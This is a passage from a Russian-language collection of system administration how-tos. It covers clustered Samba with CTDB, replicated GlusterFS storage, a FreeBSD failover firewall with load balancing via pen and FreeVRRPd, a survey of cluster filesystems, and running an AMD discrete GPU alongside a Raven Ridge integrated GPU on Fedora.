           CTDB_LOGFILE=/var/log/log.ctdb
    
    В данном случае, этот файл не использует все возможные параметры, а лишь те,
    которые необходимы в данном случае:
    
    CTDB_RECOVERY_LOCK="/synchronized/lock" - этот параметр описывает
    месторасположение файла, в котором хранится записи о том, какой из узлов
    является мастером восстановления. Файл lock должен располагаться на общем
    хранилище и быть доступным всем нодам,использующим CTDB.
    
    CTDB_PUBLIC_INTERFACE=eth0 - этот параметр описывает сетевой интерфейс, на
    котором в данный момент времени поднято сетевое соединение.
    
    CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses - этот параметр
    определяет файл, содержащий список IP-адресов, по которым клиенты, использующие
    Samba для доступа к файловым ресурсам, посылают запросы на соединение.
    Распределением этих адресов по нодам занимается CTDB.
    
    CTDB_MANAGES_SAMBA=yes - этот параметр определяет, будет ли CTDB управлять
    запуском  Samba-сервера вместо стандартных сценариев управления, которые
    реализует операционная система.
    
    CTDB_INIT_STYLE=redhat - этот параметр описывает сценарии запуска служб для
    различных операционных систем.
    
    CTDB_NODES=/usr/local/etc/ctdb/nodes - этот параметр определяет файл, в котором
    хранится информация об узлах кластера.
    
    CTDB_LOGFILE=/var/log/log.ctdb - этот параметр определяет лог-    файл,
    использующийся службой CTDB.
    
    2.  Создать файл /usr/local/etc/ctdb/nodes:
    
           192.168.1.1
           192.168.1.2
    
    Здесь IP-адрес 192.168.1.1 принадлежит первой ноде, IP-адрес 192.168.1.2 - второй.
    
    3. Создать файл /usr/local/etc/ctdb/public_addresses:
    
           192.168.0.200/24 eth0
    
    Это IP-адрес, за которым в DNS сервере закреплено доменное имя Samba-сервера.
    
    
    Далее собираем самбу
    
           cd samba-3.3.8/source
           ./autogen.sh
           ./configure --with-ctdb=/usr/src/ctdb --with-cluster-support \
              --enable-pie=no --with-shared-modules=idmap_tdb2
           make
           make install
    
    /usr/src/ctdb - каталог с исходными текстами CTDB, установленными ранее.
    
    Правим smb.conf
    
    Эти два параметра обязательно надо добавить в global. Остальное, по Вашим запросам.
    
           clustering = Yes
           idmap backend = tdb
    
    Запуск Samba
    
    Сначала запускаем CTDB на всех узлах кластера.
    
           /usr/local/sbin/ctdbd
    
    Проверяем, запустилось ли.
    
           ctdb status
    
    Если все конфигурационные файлы корректны,будет такое:
    
           Number of nodes:2
           pnn:0 192.168.1.1      OK (THIS NODE)
           pnn:1 192.168.1.2      OK
           Generation:1087563258
           Size:2
           hash:0 lmaster:0
           hash:1 lmaster:1
           Recovery mode:NORMAL (0)
           Recovery master:0
    
    Проверяем для начала параметры smb.conf
    
           /usr/local/samba/bin/testparm
    
           Load smb config files from /usr/local/samba/etc/smb.conf
           Processing section "[public]"
           Loaded services file OK.
           Server role: ROLE_STANDALONE
    
    Запускаем самбу:
    
           /usr/local/samba/sbin/smbd -D
           /usr/local/samba/sbin/smbd -D
    
    Далее, все как обычно, только не забывайте, что это не кластер, и все действия
    должны быть выполнены на всех узлах.
    
    Тестирование
    
    Для сравнения производительности Samba-сервера с использованием CTDB и без
    использования CTDB, а также возможностей файловой системы (общего хранилища)
    используется ряд тестовых модулей.
    
    Скорость чтения данных
    
    Чтение(MB/sec)
    Клиент
    1
    2
    3
    4
    Samba без CTDB
    2,15
    2,16
    2,13
    2,09
    Samba + CTDB
    24,73
    23,42
    23,26
    23,15
    
    Сервер был доступен по кналу 1 Гб/с, поэтому суммарно использовано около 75%
    пропускной способности.
    
    Скорость записи идентична, не намного уступает, определяется скорее возможностями файловой системы.
    Замечу, что с ростом узлов (до 8) скорость доступа к данным (скорость
    чтения/записи) стремительно растет.
    
    
    Заключение
    
    Предложенный вариант кластеризации Samba позволяет достичь некоторых результатов:
    1. Высокая надежность и отказоустойчивость (читайте про CTDB). Потеря данных исключена.
    2. Показатели производительности по сравнению с 1-серверными системами отличные.
    
    Конфигурация годится для организации бюджетного кластерного файлового сервера,
    и при грамотной организации каналов связи (между узлами, клиент- сервер)
    обеспечит отличный уровень производительности.
    
    Список источников
    
    * http://ctdb.samba.org
    * http://wiki.samba.org/index.php/Clustered_Samba
    
     
    ----* Отказоустойчивое хранилище с автоматической репликацией на базе GlusterFS (доп. ссылка 1)   Автор: petrov.pash  [комментарии]
     
    Инструкция по создании зеркалируемого (реплицированного) между двумя машинами
    хранилища файлов на базе GlusterFS (http://www.gluster.com/) и Ubuntu 9.10.
    Добавляемый в созданное хранилище файл на первом сервере буде сразу доступен на
    втором и наоборот, при этом данные на каждой машине будут использоваться из
    локального раздела, что обеспечивает значительно более высокую
    производительность, по сравнению с NFS. С особенности кластерной файловой
    системы GlusterFS можно познакомиться на данной странице.
    
    В рассматриваемой конфигурации задействованы три машины: два сервера
    (server1.example.com/192.168.0.100, server2.example.com/192.168.0.101) и один
    клиент (client1.example.com: IP адрес 192.168.0.102). Серверы выступают в роли
    машин для экспорта дисковых разделов, доступ к отказоустойчивому хранилищу
    осуществляется на стороне клиента.
    
    В представленном примере серверы и клиент размещены на разных машинах, но в
    реальных условиях клиентские и серверные составляющие обычно совмещены  на
    одной машине. Соответствующую конфигурацию можно сгенерировать при помощи
    утилиты glusterfs-volgen.
    
    Установка серверной части GlusterFS на server1.example.com и server2.example.com:
    
    Так как GlusterFS доступен в стандартном репозитории Ubuntu 9.10, достаточно
    выполнить (сейчас и далее все действия выполняются под пользователем root):
    
       apt-get install glusterfs-server
    
    Для организации хранилища на сервере будем использовать каталог /data/export.
    
    Приводим файл конфигурации /etc/glusterfs/glusterfsd.vol на серверах в следующий вид:
    
       volume posix
        type storage/posix
        option directory /data/export
       end-volume
    
       volume locks
        type features/locks
        subvolumes posix
       end-volume
    
       volume brick
        type performance/io-threads
        option thread-count 8
        subvolumes locks
       end-volume
    
       volume server
        type protocol/server
        option transport-type tcp
        # далее через запятую нужно перечислить IP или имена хостов клиентов
        # можно использовать маски вида 192.168.*,
        option auth.addr.brick.allow 192.168.0.102 
        subvolumes brick
       end-volume
    
    Запускаем сервер GlusterFS:
    
       /etc/init.d/glusterfs-server start
    
    
    Настройка клиента GlusterFS
    
    Для установки клиентской части GlusterFS выполняем:
    
       aptitude install glusterfs-client glusterfs-server
    
    Хранилище будем монтировать в каталог /mnt/glusterfs.
    
    Приводим файл конфигурации клиента /etc/glusterfs/glusterfs.vol в следующий вид:
    
       volume remote1
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.100 # server1.example.com
        option remote-subvolume brick
       end-volume
    
       volume remote2
        type protocol/client
        option transport-type tcp
        option remote-host 192.168.0.101 # server2.example.com
        option remote-subvolume brick
       end-volume
    
       volume replicate
        type cluster/replicate
        subvolumes remote1 remote2
       end-volume
    
       volume writebehind
        type performance/write-behind
        option window-size 1MB
        subvolumes replicate
       end-volume
    
       volume cache
        type performance/io-cache
        option cache-size 512MB
        subvolumes writebehind
       end-volume
    
    
    Монтируем файловую систему GlusterFS в каталог /mnt/glusterfs:
    
       glusterfs -f /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    или
       mount -t glusterfs /etc/glusterfs/glusterfs.vol /mnt/glusterfs
    
    Для автоматизации монтирования во время загрузки в /etc/fstab сдедует добавить:
    
       /etc/glusterfs/glusterfs.vol  /mnt/glusterfs  glusterfs  defaults  0  0
    
    Тестирование
    
    Создаем в GlusterFS разделе на стороне клиента несколько файлов:
    
       touch /mnt/glusterfs/test1
       touch /mnt/glusterfs/test2
    
    Эти файла сразу должны появиться на серверах в каталоге /data/export
    
    Выключим первый сервер и добавить на стороне клиента еще несколько файлов:
    
       touch /mnt/glusterfs/test3
       touch /mnt/glusterfs/test4
       rm -f /mnt/glusterfs/test2
    
    Изменения должны появиться на втором сервере.
    
    Включим первый сервер и увидим, что данные на нем неактуальны. Изменения будут
    синхронизированы автоматически, для инициирования синхронизации на стороне
    клиента достаточно выполнить любую операцию с разделом, например, посмотреть
    содержимое через "ls -l /mnt/glusterfs/".
    
    
    GlusterFS в роли замены NFS с поддержкой кэширования.
    
    Чтобы примонтировать раздел в NFS-подобном виде, без репликации, достаточно
    добавить в конфигурации сервера в блоке "volume locks" опцию "option
    mandatory-locks on". На стороне клиента нужно закомментировать в конфигурации
    блок "volume replicate" и  убрать блок, описывающий вторую реплицируемую
    директорию "volume remote2". В секции "volume writebehind" на стороне клиента
    при этом заменяем опцию "subvolumes replicate" на "subvolumes remote", а также
    можем уменьшить размер окна до 1 Мб ("option window-size 1MB").
    
    Создание распределенного на 4 узла хранилища
    
    При реализации хранилища, распределенного на 4 узла, настройка производится
    аналогично, по аналогии с remote2 добавляются разделы remote3 и remote4. Вместо
    "volume replicate" добавляется раздел "volume distribute":
    
       ...
       volume remote3
         type protocol/client
         option transport-type tcp
         option remote-host server3.example.com
         option remote-subvolume brick
       end-volume
    
       volume remote4
         type protocol/client
         option transport-type tcp
         option remote-host server4.example.com
         option remote-subvolume brick
       end-volume
    
       volume distribute
         type cluster/distribute
         subvolumes remote1 remote2 remote3 remote4
       end-volume
       ...
    
    В блоке "volume writebehind" приписывается "subvolumes distribute".
    
    Конфигурацию можно сгенерировать автоматически, например, запустив на одном из серверов:
    
       glusterfs-volgen --name repstore1 --raid 1 hostname1:/export/sdb1 \
         hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    При надлежащей настройке параметров доступа к серверам все параметры
    конфигурации серверных и клиентских составляющих на всех машинах
    распределенного хранилища будут обновлены автоматически. Для систем не
    поддерживающих GlusterFS доступ к хранилищу можно организовать через NFS, SMB
    или WebDAV.
    
     
    ----* Как сделать отказоустойчивый брандмауэр с распределением нагрузки на FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Задача: 
    
    Сконфигурировать два или более отказоустойчивых брандмауэра на базе IPF с
    функцией балансировки нагрузки
    (далее - "FWLB") для кластера, предоставляющего сервис в сети Интернет.
    Если один из брандмауэров приходит в негодность, то его функции будет выполнять второй. 
    В этом случае мы получим высокодоступную систему с черезвычайно малым временем простоя и, 
    как мы надеемся, сэкономит немало средств на специализированных устройствах.
    	  
    Наша задача - получить нижепреведенную конфигурацию:
    
    
                             ~~~
                           ( net )
                             ~~~
                              |
                              |
                              |
                          ----------
                         |  switch  |
                          ---------- 
                          /        \
                         /   VIP    \
                 ---------         --------
                |  fwlb1  |       | fwlb2  |
                 ---------         --------
                        \    VIP   /
                         \        /
                          ---------
                         | switch |
                          ---------
                          /      \ 
                         /        \
                  ---------        ---------
                 | server1 |      | server2 |
                  ---------        ---------
    
                   
    Где первый VIP (Virtual IP) это публичный IP адресс вашего сайта, 
    а второй - приватный IP согласно RFC 1918, который будет использоваться 
    серверами в качестве шлюза по умолчанию.
    
    
    Требования:
    
    - Два сервера с FreeBSD-STABLE. У каждого из них - по 2 сетевые карты
    - Два коммутатора/хаба
    - Два или более серверов для кластера, на котором запущен предоставляемый сервис
    - /usr/ports/net/pen
    - /usr/ports/net/freevrrpd
    - /usr/ports/sysutils/daemontools или /usr/ports/sysutils/runit
    - Ядро, скомпилированное с опциями IPFILTER и IPFILTER_LOG
    
    
    Pen является простым, но гибким балансировщиком.
    FreeVRRPd будет обеспечивать отказоустойчивость. 
    Daemontools(или runit, с более дружественной лицензией и похожим функционалом)
    не является необходимым,
    но весьма полезен для контроля и управления процессами, поэтому тоже рекомендован к использованию.
    	
    Выполнение:
    
    Часть 1: Брандмауэр
    
    Создайте набор правил IPF(или IPFW, или PF), разрешающий трафик на стороне сервиса, 
    который нуждается в балансировке. По желанию, разрешите доступ к кластеру серверов через NAT, 
    если есть необходимость в исходящих соединениях.  Конфигурирование IPF/IPNAT не
    рассматривается в данной статье,
    но на эту тему написано достаточно много. Два пункта, которые очень важно иметь в виду, 
    заключаются в том, что вам необходимо удостовериться, что разрешен multicast между брандмауэрами 
    (необходимо для работы VRRP) и запрещен для всех других хостов (иначе возникнет
    угроза безопасности).
    Для получения ополнительной информации по IPF, обратитесь к:
                   
     http://www.nwo.net/ipf/ipf-howto.html
     http://coombs.anu.edu.au/~avalon/ip-filter.html   
            
    Скомпилировав ядро с опциями, указанными выше, вносим следующие изменения в /etc/rc.conf:
                
                    ipfilter_enable="YES"
                    ipfilter_rules="/etc/ipf.conf"
                    ipnat_rules="/etc/ipnat.conf" 
                    ipnat_flags="-CF"
                    ipmon_enable="YES"
    
    И переносим набор правил в указанные места.
    
    
    
    Часть 2: Балансировщик
    
    1) Создаем необходимых пользователей и каталоги.
    
            mkdir -p /etc/supervise/pen/log
            mkdir -p /var/chroot/pen
            mkdir -p /var/log/pen
            pw useradd pen -s /bin/false -d /var/chroot/pen
            pw useradd penlog -s /bin/false -d /var/chroot/pen
            chown penlog:pen /var/log/pen
    
    2) Создаем файлы, необходимые для запуска pen.
    
            cd /etc/supervise/pen
            cat << _EOF_ > run
            #!/bin/sh
    
            exec 2>&1
            exec pen -d -u pen -j /var/chroot/pen -C localhost:8888 -f -r 80 hostname1 hostname2
    
            _EOF_
            chmod 755 run
            cd log
            
            cat << _EOF_ > run
            #!/bin/sh
            
            exec /usr/local/bin/setuidgid penlog /usr/local/bin/multilog s999999 n20 /var/log/pen
    
            _EOF_
            chmod 755 run
    
    
    Так мы сконфигурируем pen для запуска в pen в /var/chroot/pen и портом управления 8888. 
    Он будет балансировать входящий 80 порт на порт 80 hostname1 на hostname2. 
    Тип балансировки - round-robin - если необходимы постоянные сессии, удалите флаг "-r".
    В этом примере pen запущен в режиме отладки, что упростит настройку. 
    При промышленном использовании можно удалить флаг "-d". 
          
    3) Запуск балансировщика нагрузки.
    
            cd /service
            ln -s /etc/supervise/pen
            echo "csh -cf '/usr/local/bin/svscanboot &'" >> /etc/rc.local
            csh -cf '/usr/local/bin/svscanboot &'
            sleep 5 && svstat pen
    
    Теперь вы с помощью браузера можете удостовериться, что балансировка работает.
    
    Так же изучите /var/log/pen/current на обоих брандмауэрах.
    
    
    
    Часть 3: Отказоустойчивость
    
    1) Сперва сконфигурируйте syslog для сбора сообщений VRRP.
    
            touch /var/log/freevrrpd.log
            cat << _EOF_ >> /etc/syslog.conf
    
            !freevrrpd
            *.*                     /var/log/freevrrpd.log
    
            _EOF_
    
    
    2) Конфигурирование FreeVRRPd
           
    До этого пункта, обе машины были равноправны.    Теперь вам необходимо выбрать,
    какой FWLB будет primary.
    На этой машине скопируйте /usr/local/etc/freevrrpd.conf.sample в /usr/local/etc/freevrrpd.conf. 
    
    Отредактируйте файл, как показано ниже:
    
            # public-facing VRID
            [VRID]
            serverid = 1
            interface = fxp0
            priority = 255
            addr = 198.123.111.1/32
            password = vrid1
            vridsdep = 2
    
            # backend VRID
            [VRID]
            serverid = 2
            interface = fxp1
            priority = 255
            addr = 10.0.0.1/32
            password = vrid2
            vridsdep = 1
    
    В результате мы получим 2 VRID - один для внешней сети, второй для внутренней, 
    который будет использоваться кластером серверов.
    В этом примере оба VRIDs сконфигурированы, чтобы считать этот хост главным при выборах VRRP.
                   
    Заметьте - оба VRID зависят друг от друга, что определено полем "vridsdep". 
    Это означает, что, если один из интерфейсов в FWLB падает, другой автоматически
    перейдет в резервный режим,
    переводя оба интерфейса на резервный FWLB. 
    
    Это позволит избежать попыток отправить данные через брандмауэр с упавшим внешним интерфейсом.
    
    Теперь вы должны скопировать этот файл на slave FWLB, и изменить оба поля
    priority на значение 100.
    Измените пароль на что-то более безопасное, чем на примере, но особо не
    расчитывайте на пароли VRRP
    в плане безопасности. Если другой брандмауэр, находящийся вне связки сможет
    общаться с вашими по VRRP,
    то у вас будут проблемы.
      
    3) Запуск FreeVRRPd
    
    Теперь вы можете запустить freevrrpd на обоих брандмуэрах:
    
            cp /usr/local/etc/rc.d/freevrrpd.sh{.sample,}
            /usr/local/etc/rc.d/freevrrpd.sh start
    
    
    Часть 4: Проверка отказоустойчивости
    
    Теперь нам необходимо проверить получившуюся систему на отказоустойчивость. 
    Сперва только надо запустить на обоих FWLB SSH, чтобы была возможность 
    проверять правильность переключения интерфейсов. Попробуйте следующие сценарии:
    
      - С одной из машин кластера залогиньтесь по SSH на 10.0.0.1(внутренний интерфейс). 
        Убедитесь, что это именно master FWLB.
      - Сделайте попытку соединения на 198.123.111.1(внешний интерфейс), порт 80 и 
        посмотрите /var/log/pen/current, чтобы проверить факт соединения. 
      - Отключить внешний интерфейс FWLB1.
      - Проверьте логи на FWLB2.  Сделайте попытку соединения на 198.123.111.1, 
        порт 80, чтобы проверить факт соединения.
      - Зайдите по SSH на 10.0.0.1.  Вы должны увидеть FWLB2 в баннере SSH.
      - Подключите внешний интерфейс к FWLB1.  Проверьте, что оба интерфейса FWLB1 вернулись в состояние master.
    
    Теперь повторите тест, отключая внутренний интерфейс. Если есть такое желание, 
    то можно просто нажать Reset на FWLB1.
           
    Примечания:
    
    Удаление серверов из пула:
    
    Pen не может перманентно удалить сервера из пула, но мы можем указать ему игнорировать сервер, 
    пока, например, идет его обновление или что-то подобное. Для этого выполните команду:
    
       penctl localhost:8888 server $servername blacklist 99999
    
    Это поместит сервер в черный список на 99999 секунд. Для возвращения сервера в
    пул выполните команду:
    
       penctl localhost:8888 server $servername blacklist 1
    
    Так мы выставим таймаут черного списка в 1 секунду, после чего сервер вернется в пул.
    
    Перманентное удаление или добавление серверов в пул:
    
    В случае, если есть необходимость добавить или удалить из пула несколько серверов, 
    нужно отредактировать файл /service/pen/run. Просто добавьте имена хостов в
    конец команды запуска pen и выполните:
    
       svc -t /service/pen
    
    Эта команда пошлет сигнал TERM и перезапустит pen. Хотя эта операция и не
    должна сказаться на доступности сервиса,
    лучше такие вещи делать в специально определенное время. 
    
    Ссылки:
    
     http://www.faqs.org/rfcs/rfc2338.html
     http://www.bsdshell.net/hut_fvrrpd.html
     http://siag.nu/pen/
     http://cr.yp.to/daemontools.html
     http://smarden.org/runit
    
    
    © 2004 David Thiel --- lx [@ at @] redundancy.redundancy.org
    
     
    ----* Обзор сетевых и кластерных ФС: Lustre, GFS, AFS, GFarm (доп. ссылка 1)   Автор: johnjoy  [комментарии]
     Lustre - кластерная ФС, AFS - сетевая ФС.

    Если подробнее - то AFS относится примерно к тому классу, в котором сидят NFS, SMB, и win2K3 DFS. Основная их задача - качественный доступ к различным (раскиданным по сети) ресурсам, с соблюдением блокировок и напором на контроль доступа и централизованное управление. Здесь четко прослеживается модель "клиент-сервер" - большинство участников сетовой ФС являются клиентами, а под шары выделяются чаще отдельные серваки. С точки зрения производительности для такой ФС критериями являются пропускная способность сервер-клиент и количество поддерживаемых коннектов. Масштабируется такая ФС вертикально - более шустрым железом. Надежность тоже поддерживается на уровнях ниже сетевой ФС (RAID, репликация средствами ОС и администратором 24/7 на мобильном =)

    Кластерных ФС известно негусто - навскидку Lustre, Google FS (+Hadoop), что-то было у IBM.

    Отличительная особенность - все участники ФС унифицированы и являются и серверами и клиентами ФС (это именно особенности реализации, конечно же можно и настроить для работы как "несколько серверов - много клиентов", но преимуществ в этом случае не получите, скорее наоборот)

    Обычный принцип действия - работа на уровне блоков: разбитый на блоки файл "размазывается" по нескольким серверам, при его чтении клиент сам собирает блоки в файл. (Комментарий Алексея: Это Google FS & RedHat GFS.. в люстре оперируют понятием объект).

    Критерии оценки таких ФС - общая пропускная способность ФС кластера (то есть сколько гб/с крутится в пределах кластера) и латентность (задержка между запросом файла и его получением). Также тут важна надежность - все блоки реплицируются на уровне ФС, вылет нода не сказывается на работе кластера.

    ФС этого класса очень разные. Lustre заточена под hiperf вычисления с низкой латентностью, посему пользуют что-нить типа InfiniBand и нестандартные MPI. Lustre замонтированая представляет из себя слегка урезaную ext3 для 2.4 ядер, для 2.6 используется ldiskfs которая значительно ближе к ext4.

    Google FS и Hadoop - вообще с классической точки зрения не ФС, ибо ничего не монтируют а предоставляют RPC API для разработчиков. Рассчитаны они на гигантские объемы информации, работу в основном на чтение большими блоками (в мегабайтах, стандартный блок такой ФС - 32-64Мб) и в очень больших количествах.

    Также есть shared storage FS - эти нужны при работе нескольких (многих) серверов с внешними дисковыми массивами. Основная задача - обеспечить быструю и правильную блокировку совместного доступа (via SAN, iSCSI, SCSI). Без них фактически каждый сервер должен работать со своим личным выделенным на массиве разделом. Из известных - GFS от RedHat, Oracle Cluster File System, PolyServe и Veritas CFS.

    RedHat GFS - раздает raw девайс и пытается управлять блокировками на уровне блоков, без учета логической организации.

    gfarm изначально позиционирует себя для таковой модели использования: есть много данных, распределенных по нодам, нужно их все параллельно обработать. В случае люстры и подобных - compute node сначала фетчит себе данные из кластерной фс, обрабатывает и возвращает обратно (отсюда требования к пропускной способности и латентности). В случае gfarm - задание по обработке для compute нода попадает благодаря gfarm именно на тот нод, где локально лежит одна из реплик требуемых данных. Соответственно по сети происходит трансфер задания на обработку данных , а не самих данных. (например, здесь, да и вообще тут- большинство тем именно parallel computing, а не distributed fs).

    Некая сборная информация есть в wikipedia.

     

       Поддержка аппаратного обеспечения

    ----* Использование в Linux дискретной видеокарты AMD Radeon вместе со встроенной Raven Ridge   Автор: nobody  [комментарии]
     
    Разговор пойдёт об AMD APU Ryzen 3 2200G, Ryzen 5 2400G и подобных им.
    
    В обсуждениях на англоязычных форумах упоминается, что iGPU Vega10 более
    технологически продвинут, и, в принципе, он может быть использован как
    ведущий адаптер для dGPU предыдущих версий GCN 1,2,3 в рамках модели
    памяти iGPU Vega10 (GCN 5).
    
    Однако, с одной стороны это потребует большое количество человеко-часов для
    написания таких драйверов под OS Linux. А, с другой стороны, новые адаптеры
    линии RDNA полностью соответствуют этой модели памяти. И, в принципе,
    состыковка iGPU Vega10 с dGPU RDNA, есть задача более простая и более перспективная.
    
    Поэтому, в ближайшее время нормальной состыковки видеокарт GCN 1,2,3 и iGPU
    Vega10 (GCN 5) в Linux, судя по всему, ожидать не приходится.
    
    Соответственно, всё, что описано далее, это воркэраунд для сложившейся ситуации.
    
    
    Пошаговая инструкция
    
    Вот работоспособная конфигурация:
    
    (01) Устанавливаем Fedora 31 (я использовал версию с MATE GUI).
    Не забываем сразу добавить пользователя в группу video .
    
    
    (02) Загружаем пакет kernel-5.3.16-300.fc31.src.rpm, и разворачиваем его для
    компиляции в ${HOME}/rpmbuild/SOURCES/
    
    
    (03) Идём на страничку
    https://github.com/RadeonOpenCompute/ROCK-Kernel-Driver/issues/66  и загружаем
    оттуда патч под нашу версию ядра
    0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt
    по ссылке
    https://github.com/RadeonOpenCompute/ROCK-Kernel-Driver/files/3614247/0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt
    
    Попутно читаем на английском про особенности работы встроенной карты, там много удивительного.
    
    Выжимка, кому интересно, иначе можно пропустить:
    
    
  • модель памяти у iGPU и dGPU различна;
  • драйвер amdkfd по умолчанию использует модель памяти адаптера, проинициализировавшегося первым;
  • не смотря на то, что dGPU может быть первым и будет использована его модель памяти, тем не менее iGPU Vega10 более технологически продвинут и именно он получит первый номер во внутреннем дереве топологии драйвера amdkfd, что в общем-то неправильно, так как карта адаптеров и фактическое их наличие не будут соответствовать друг другу. Как результат, оба GPU будут нерабочими в ROCm (и не только в нём);
  • двое разработчиков ROCm под никами fxkamd и Djip007 сформировали патч для драйвера amdkfd, позволяющий на этапе загрузки ядра сказать драйверу amdkfd, какую модель памяти использовать и какие адаптеры допустимы в дереве топологии amdkfd, скажем "Большое Спасибо!" им за это. (04) Копируем патч в каталог ${HOME}/rpmbuild/SOURCES/ $ cp 003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch.txt ${HOME}/rpmbuild/SOURCES/003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch Исправляем в kernel.spec %global baserelease 300 на произвольное большее %global baserelease 307 Добавляем в kernel.spec после описания всех патчей, после строки Patch536: ..... строку с описанием нового патча Patch537: 0003-allows-to-choose-iGPU-or-dGPU-memory-management-mode.patch как раз перед строкой # END OF PATCH DEFINITIONS Делаем линк kernel.spec: $ cd ${HOME}/rpmbuild/SPECS/ $ ln ../SOURCES/kernel.spec Запускаем сборку пакетов ядра с патчем: $ rpmbuild -ba --nodebuginfo --target x86_64-redhat-linux --define "%_without_debug 1" --define "%set_build_flags echo" --define "%make_build make" --define "%make_install make install DESTDIR=%{buildroot}" kernel.spec Внимание, потребуется много места на диске! В моём случае сборки для x86_64 конфигов это было около 27 GB временных файлов. По завершении сборки в директории ${HOME}/rpmbuild/RPMS/x86_64/ будут лежать новые пакеты: kernel-5.3.16-307.fc31.x86_64.rpm kernel-core-5.3.16-307.fc31.x86_64.rpm kernel-debuginfo-5.3.16-307.fc31.x86_64.rpm kernel-debuginfo-common-x86_64-5.3.16-307.fc31.x86_64.rpm kernel-devel-5.3.16-307.fc31.x86_64.rpm kernel-modules-5.3.16-307.fc31.x86_64.rpm kernel-modules-extra-5.3.16-307.fc31.x86_64.rpm Устанавливаем это новое ядро и его модули (естественно, с опцией --nogpgcheck). (05) Обновляем загружаемый микрокод для видеокарт: # dnf upgrade linux-firmware libclc (06) Добавляем в настройки dracut несколько опций # cat /etc/dracut.conf.d/my20200224.conf add_drivers+=" amd_iommu_v2 amdgpu nvme_core nvme " fw_dir+=" /lib/firmware/amdgpu " install_items+=" /lib/firmware/amdgpu/raven_* /lib/firmware/amdgpu/polaris* " (07) Аккуратно настраиваем X-сервер в /etc/X11/xorg.conf. Чтобы он видел dGPU как первичный адаптер, а iGPU , как вторичный адаптер без экрана. Однако к монитору iGPU должен быть подключен физически (или к его HW-эмулятору). Создаём шаблон xorg.conf командой: # X -configure Затем копируем его в /etc/X11/xorg.conf и редактируем, оставляя:
  • Layout0 с двумя картами Card0 и Card1
  • Card0 это первичный dGPU с монитором и экраном, с точным указанием BusID
  • Card1 это вторичный iGPU без монитора и без экрана, с точным указанием BusID Например: Section "Device" # dGPU Identifier "Card0" Driver "amdgpu" BusID "PCI:1:0:0" Option "TearFree" "True" Option "Accel" "True" EndSection Section "Device" # iGPU Identifier "Card1" Driver "amdgpu" BusID "PCI:9:0:0" EndSection Ваши GPU могут иметь другие номера на шине pci, смотрим командой: # lspci -v ..... Пропускаем секции "Monitor1" и "Screen1" для iGPU в нашем случае, как это регламентировано в мануале для xorg.conf. Просто комментируем соответствующие разделы: #Section "Monitor" # Identifier "Monitor1" ..... #Section "Screen" # Identifier "Screen1" ..... (08) Добавляем опцию для kfd из рекомендаций установки ROCm: # cat /etc/udev/rules.d/70-kfd.rules SUBSYSTEM=="kfd", KERNEL=="kfd", TAG+="uaccess", GROUP="video", MODE="0660" Это позволит работать с dGPU пользователю из группы video. (09) Перегенерим initramfs: # dracut --force --kver 5.3.16-307.fc31.x86_64 (10) Добавляем в настройки grub2 несколько опций ядра для загрузки: amd_iommu=fullflush iommu=pt video=efifb:off amdgpu.rocm_mode=2 (11) Дополнительно, устанавливаем воркэраунд от некогерентности кэша для GCN 1,2,3,5 видеокарт: # cat /etc/environment AMD_DEBUG=nongg,nodma RADV_DEBUG=nongg DRI_PRIME=0 К сожалению, воркэраунды снижают производительность от 1.5 до 15 раз (судя по тесту Glmark2), но зато дают стабильность GUI-десктопу. Для RDNA 1,2 видеокарт вроде бы это не нужно, но я не проверял, так как не на чем. Перезагружаемся. (12) Настраиваем в EFI dGPU как первичную видеокарту, а iGPU, соответственно, становится вторичной видеокартой, урезаем ей RAM до 64 MB. Загружаемся. Вот и всё. Проверка Теперь проверяем корректность результата. # dmesg | grep -i -e amdgpu -e kfd -e drm -e ttm -e atomic -e crat ..... [ 3.414606] kfd kfd: Ignoring ACPI CRAT on disabled iGPU (rocm_mode!=ROCM_MODE_IGPU) ..... [ 3.667325] kfd kfd: added device 1002:wxyz ..... [ 3.733956] kfd kfd: skipped DID 15dd, don't support dGPU memory management models ..... Выбрана модель памяти для dGPU, добавление iGPU в топологию kfd пропущено, а топология kfd для dGPU сформирована правильно. # lspci -nnk -d 1002: 01:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] ..... Subsystem: ..... Kernel driver in use: amdgpu Kernel modules: amdgpu 09:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] Raven Ridge [Radeon Vega Series / Radeon Vega Mobile Series] [1002:15dd] (rev c8) Subsystem: ..... Kernel driver in use: amdgpu Kernel modules: amdgpu 09:00.1 Audio device [0403]: Advanced Micro Devices, Inc. [AMD/ATI] Raven/Raven2/Fenghuang HDMI/DP Audio Controller [1002:15de] Subsystem: ..... Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel Всем видны оба видео-адаптера AMD на pci шине: и dGPU и iGPU. Важно, чтобы неиспользуемый iGPU контроллировался ядерным драйвером amdgpu. Если этого не будет (например, можно удалить устройства из дерева pci средствами udev на раннем этапе загрузки), то iGPU будет сильно греть APU (max 75*C вместо max 60*C). И это при том, что сам iGPU вообще не будет никак использоваться. Может возникнуть впечатление, что появились проблемы с кулером APU, но это не так. $ less /var/log/Xorg.0.log [ 15.962] (**) ServerLayout "Layout0" [ 15.962] (**) |-->Screen "Screen0" (0) [ 15.962] (**) | |-->Monitor "Monitor0" [ 15.962] (**) | |-->Device "Card0" [ 15.962] (**) | |-->GPUDevice "Card1" [ 15.962] (**) |-->Input Device "Mouse0" [ 15.962] (**) |-->Input Device "Keyboard0" ..... [ 15.964] (II) xfree86: Adding drm device (/dev/dri/card0) [ 15.970] (II) xfree86: Adding drm device (/dev/dri/card1) [ 15.973] (--) PCI:*(1@0:0:0) ..... [ 15.973] (--) PCI: (9@0:0:0) ..... ..... [ 15.979] (II) LoadModule: "amdgpu" [ 15.980] (II) Loading /usr/lib64/xorg/modules/drivers/amdgpu_drv.so ..... [ 15.983] (II) AMDGPU: Driver for AMD Radeon: All GPUs supported by the amdgpu kernel driver [ 15.983] (II) modesetting: Driver for Modesetting Kernel Drivers: kms [ 15.983] (II) AMDGPU(0): [KMS] Kernel modesetting enabled. ..... Т.е. 